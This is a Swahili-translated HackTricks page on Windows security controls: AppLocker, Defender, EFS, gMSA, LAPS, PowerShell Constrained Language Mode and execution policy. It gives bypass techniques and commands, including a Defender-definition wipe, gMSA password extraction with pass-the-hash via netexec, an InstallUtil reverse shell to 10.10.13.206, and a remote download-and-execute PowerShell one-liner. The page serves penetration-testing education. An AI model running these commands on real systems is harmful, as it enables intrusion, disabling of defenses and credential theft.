Udhibiti wa Usalama wa Windows
Reading time: 13 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Sera ya AppLocker
Orodha nyeupe ya programu ni orodha ya programu zilizoidhinishwa au faili zinazotekelezwa ambazo zinaruhusiwa kuwepo na kuendeshwa kwenye mfumo. Lengo ni kulinda mazingira dhidi ya malware yenye madhara na programu zisizoidhinishwa ambazo hazilingani na mahitaji maalum ya biashara ya shirika.
AppLocker ni suluhisho la Microsoft la application whitelisting na huwapa wasimamizi wa mfumo udhibiti juu ya ni programu na faili gani watumiaji wanaweza kuendesha. Inatoa udhibiti wa undani juu ya executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.
Ni kawaida kwa mashirika kuzuia cmd.exe na PowerShell.exe na upatikanaji wa kuandika kwenye saraka fulani, lakini yote haya yanaweza kuzungukwa.
Angalia
Angalia ni faili/upanuisaji gani ziko kwenye orodha nyeusi/nyeyeupe:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Njia hii ya rejista ina mipangilio na sera zinazotumika na AppLocker, ikitoa njia ya kupitia seti ya sasa ya kanuni zinazotekelezwa kwenye mfumo:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Bypass
- Folda muhimu zinazoweza kuandikwa za bypass sera ya AppLocker: Ikiwa AppLocker inaruhusu kuendesha chochote ndani ya
C:\Windows\System32
auC:\Windows
kuna folda zinazoweza kuandikwa unaweza kutumia ili bypass this.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Mara nyingi zinaaminika "LOLBAS's" binaries zinaweza pia kuwa muhimu kupita AppLocker.
- Kanuni zilizotungwa vibaya pia zinaweza kupitishwa
- Kwa mfano,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, unaweza kuunda kabrasha liitwaloallowed
mahali popote na litaruhusiwa. - Mashirika pia mara nyingi hufanya mkazo wa kuzuia the
%System32%\WindowsPowerShell\v1.0\powershell.exe
executable, lakini husahau kuhusu other PowerShell executable locations kama%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
auPowerShell_ISE.exe
. - DLL enforcement haizinduliwa mara chache sana kutokana na mzigo wa ziada inaweza kuweka kwenye mfumo, na kiwango cha majaribio kinachohitajika kuhakikisha hakitavunjika kitu. Kwa hivyo kutumia DLLs kama backdoors kuta kusaidia kupita AppLocker.
- Unaweza kutumia ReflectivePick au SharpPick kuendesha Powershell code katika mchakato wowote na kupita AppLocker. Kwa maelezo zaidi angalia: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode.
Credentials Storage
Security Accounts Manager (SAM)
Local credentials zipo katika faili hii, nywila zimehashiwa.
Local Security Authority (LSA) - LSASS
The credentials (hashed) zinaletwa hifadhiwa katika memory ya subsystem hii kwa sababu za Single Sign-On.
LSA inadhibiti security policy ya eneo (sera za nywila, ruhusa za watumiaji...), authentication, access tokens...
LSA itakuwa ile itakayefanya check kwa credentials zilizotolewa ndani ya faili ya SAM (kwa login ya ndani) na zungumza na domain controller ili ku-authenticate mtumiaji wa domain.
The credentials zimeshifadhiwa ndani ya process LSASS: Kerberos tickets, hashes NT na LM, nywila zinazoweza kufunuliwa kwa urahisi.
LSA secrets
LSA inaweza kuhifadhi kwenye diski baadhi ya credentials:
- Nywila ya akaunti ya kompyuta ya Active Directory (domain controller isiyoweza kupatikana).
- Nywila za akaunti za huduma za Windows
- Nywila za scheduled tasks
- Zaidi (nywila za IIS applications...)
NTDS.dit
Ni database ya Active Directory. Iko tu kwenye Domain Controllers.
Defender
Microsoft Defender ni Antivirus inayopatikana katika Windows 10 na Windows 11, na kwenye toleo za Windows Server. Inazuia zana za kawaida za pentesting kama WinPEAS
. Hata hivyo, kuna njia za kupita kinga hizi.
Check
Ili kukagua status ya Defender unaweza kutekeleza PS cmdlet Get-MpComputerStatus
(angalia thamani ya RealTimeProtectionEnabled
kujua kama iko hai):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Ili kuorodhesha pia unaweza kuendesha:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Encrypted File System (EFS)
EFS inalinda faili kupitia usimbaji, ikitumia ufunguo simetriki unayejulikana kama File Encryption Key (FEK). Ufunguo huu unasimbwa kwa kutumia funguo la umma la mtumiaji na unahifadhiwa ndani ya $EFS alternative data stream ya faili iliyosimbwa. Wakati ufungaji (decryption) unabidi, funguo binafsi inayofanana na cheti dijitali la mtumiaji inatumiwa kufungua FEK kutoka kwenye mtiririko wa $EFS. More details can be found here.
Matukio ya kufungua (decryption) bila kuamshwa na mtumiaji ni pamoja na:
- Wakati faili au folda zinaposogezwa kwenye mfumo wa faili usio-EFS, kama FAT32, zinafufuliwa (decrypted) kwa njia ya moja kwa moja.
- Faili zilizofichwa zinazotumwa mtandaoni kwa kutumia itifaki ya SMB/CIFS zinafufuliwa kabla ya usafirishaji.
Njia hii ya usimbaji inaruhusu upatikanaji wa wazi kwa faili zilizofichwa kwa mmiliki. Hata hivyo, kubadilisha tu nywila ya mmiliki na kuingia haitawezi kuruhusu ufungaji.
Key Takeaways:
- EFS inatumia FEK simetriki, iliyosimbwa kwa funguo la umma la mtumiaji.
- Kufungua (decryption) kunatumia funguo binafsi la mtumiaji kupata FEK.
- Kufunguka kwa njia ya moja kwa moja hufanyika katika hali maalum, kama kunakokopiwa kwenye FAT32 au kusafirishwa mtandaoni.
- Faili zilizofichwa zinaweza kupatikana na mmiliki bila hatua za ziada.
Check EFS info
Angalia kama mtumiaji ametumia huduma hii kwa kuangalia kama njia hii ipo: C:\users\<username>\appdata\roaming\Microsoft\Protect
Angalia nani ana ufikiaji wa faili ukitumia cipher /c \<file>\
Unaweza pia kutumia cipher /e
na cipher /d
ndani ya folda ili encrypt na decrypt faili zote
Decrypting EFS files
Kuwa System Authority
Njia hii inahitaji mtumiaji wa mwathiriwa kuwa anaeendesha mchakato ndani ya mwenyeji. Ikiwa hivyo ni kesi, kwa kutumia session za meterpreter
unaweza kuiga token ya mchakato wa mtumiaji (impersonate_token
kutoka incognito
). Au unaweza tu migrate
kwenda kwenye mchakato wa mtumiaji.
Kujua nywila za watumiaji
howto ~ decrypt EFS files \xc2\xb7 gentilkiwi/mimikatz Wiki \xc2\xb7 GitHub
Akaunti za Group Managed Service (gMSA)
Microsoft ilitengeneza Group Managed Service Accounts (gMSA) kurahisisha usimamizi wa akaunti za huduma katika miundombinu ya IT. Tofauti na akaunti za huduma za jadi ambazo mara nyingi zinawekwa na "Password never expire", gMSA zinatoa suluhisho salama zaidi na rahisi kusimamia:
- Automatic Password Management: gMSA zinatumia nywila tata ya herufi 240 inayobadilika kiotomatiki kulingana na sera ya domain au kompyuta. Mchakato huu unafanywa na Key Distribution Service (KDC) ya Microsoft, kuondoa haja ya masasisho ya nywila kwa mikono.
- Enhanced Security: Akaunti hizi hazina uwezekano wa kufungwa (lockouts) na haiwezi kutumika kwa ingia ya mtumiaji wa kisasa (interactive logins), jambo linaloimarisha usalama wao.
- Multiple Host Support: gMSA zinaweza kushirikiwa kati ya hosts nyingi, hivyo zinafaa kwa huduma zinazotumika kwenye server nyingi.
- Scheduled Task Capability: Tofauti na managed service accounts, gMSA zinaunga mkono kuendesha scheduled tasks.
- Simplified SPN Management: Mfumo hubadilisha kwa otomatiki Service Principal Name (SPN) pale panapobadilika sAMaccount details za kompyuta au jina la DNS, kurahisisha usimamizi wa SPN.
Nywila za gMSA zimo katika kipengele cha LDAP msDS-ManagedPassword na zinasasishwa kiotomatiki kila siku 30 na Domain Controllers (DCs). Nywila hii, blob ya data iliyosimbwa inayojulikana kama MSDS-MANAGEDPASSWORD_BLOB, inaweza tu kutolewa na wasimamizi walioidhinishwa na servers ambazo gMSA zimewekwa, kuhakikisha mazingira salama. Ili kupata taarifa hii, inahitajika muunganisho uliolindwa kama LDAPS, au muunganisho lazima uwe authenticated na 'Sealing & Secure'.
Unaweza kusoma nywila hii kwa kutumia GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Pia, angalia web page kuhusu jinsi ya kufanya NTLM relay attack ili kusoma nenosiri la gMSA.
Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
Katika mazingira mengi, watumiaji wenye ruhusa ndogo wanaweza kufikia siri za gMSA bila kuharibu DC kwa kunyanyasa ACLs za vitu zilizo na usanidi mbaya:
- Kundi unachoweza kudhibiti (kwa mfano, kupitia GenericAll/GenericWrite) kimetolewa ruhusa ya
ReadGMSAPassword
juu ya gMSA. - Kwa kujiongeza kwenye kundi hilo, unapata haki ya kusoma blob ya
msDS-ManagedPassword
ya gMSA kupitia LDAP na kupata vigezo vya NTLM vinavyoweza kutumika.
Typical workflow:
- Gundua njia kwa kutumia BloodHound na bainisha foothold principals zako kama Owned. Tafuta edges kama:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
- Jiongeze kwenye kundi la kati unalodhibiti (mfano kwa bloodyAD):
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
- Soma nenosiri la gMSA lililodhibitiwa kupitia LDAP na pata hash ya NTLM. NetExec inafanya kwa otomatiki uondoaji wa
msDS-ManagedPassword
na kuibadilisha kuwa NTLM:
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
- Thibitisha kama gMSA ukitumia NTLM hash (hakuna plaintext inayohitajika). Ikiwa akaunti iko katika Remote Management Users, WinRM itafanya kazi moja kwa moja:
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
Notes:
- LDAP reads of
msDS-ManagedPassword
require sealing (e.g., LDAPS/sign+seal). Zana zinasimamia hili kiotomatiki. - gMSAs are often granted local rights like WinRM; thibitisha uanachama wa vikundi (e.g., Remote Management Users) ili kupanga lateral movement.
- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
LAPS
The Local Administrator Password Solution (LAPS), available for download from Microsoft, inaruhusu usimamizi wa nywila za local Administrator. Nywila hizi, ambazo ni randomized, za kipekee, na regularly changed, zinahifadhiwa katikati katika Active Directory. Upataji wa nywila hizi umepunguzwa kupitia ACLs kwa watumiaji walioidhinishwa. Ikiwa ruhusa za kutosha zimepewa, uwezo wa kusoma nywila za admin wa ndani unapatikana.
PS Constrained Language Mode
PowerShell Constrained Language Mode inazuia vipengele vingi vinavyohitajika kutumia PowerShell kwa ufanisi, kama vile kuzuia COM objects, kuruhusu tu aina za .NET zilizokubaliwa, XAML-based workflows, PowerShell classes, na zaidi.
Angalia
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Bypass
#Easy bypass
Powershell -version 2
Katika Windows za sasa Bypass hiyo haitafanya kazi lakini unaweza kutumia PSByPassCLM.
Ili kuikompaila huenda ukahitaji Ongeza Marejeo -> Vinjari -> Vinjari -> ongeza C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
na badilisha mradi kuwa .Net4.5.
Moja kwa moja bypass:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Reverse shell:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Unaweza kutumia ReflectivePick au SharpPick ili execute Powershell code katika mchakato wowote na bypass constrained mode. Kwa maelezo zaidi angalia: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode.
Sera ya Utekelezaji ya PS
Kwa chaguo-msingi imewekwa kuwa restricted. Njia kuu za bypass sera hii:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Taarifa zaidi zinaweza kupatikana here
Kiolesura cha Security Support Provider (SSPI)
Ni API inayoweza kutumika kuthibitisha watumiaji.
SSPI itakuwa na jukumu la kupata itifaki inayofaa kwa mashine mbili zinazotaka kuwasiliana. Njia inayopendekezwa kwa hili ni Kerberos. Kisha SSPI itajadili ni itifaki gani ya uthibitishaji itakayotumika; itifaki hizi za uthibitishaji zinaitwa Security Support Provider (SSP), ziko ndani ya kila mashine ya Windows kwa muundo wa DLL na mashine zote mbili lazima ziunge mkono ile ile ili ziweze kuwasiliana.
SSP kuu
- Kerberos: Inayopendekezwa
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 and NTLMv2: Kwa sababu za utangamano
- %windir%\Windows\System32\msv1_0.dll
- Digest: Seva za wavuti na LDAP, nywila katika fomu ya hash ya MD5
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL na TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: Inatumika kujadiliana itifaki itakayotumika (Kerberos au NTLM, Kerberos ikiwa chaguo-msingi)
- %windir%\Windows\System32\lsasrv.dll
Mazungumzo yanaweza kutoa njia kadhaa au njia moja tu.
UAC - Udhibiti wa Akaunti ya Mtumiaji (User Account Control)
User Account Control (UAC) ni kipengele kinachowezesha ombi la ridhaa kwa shughuli zinazohitaji ruhusa za juu.
Marejeo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.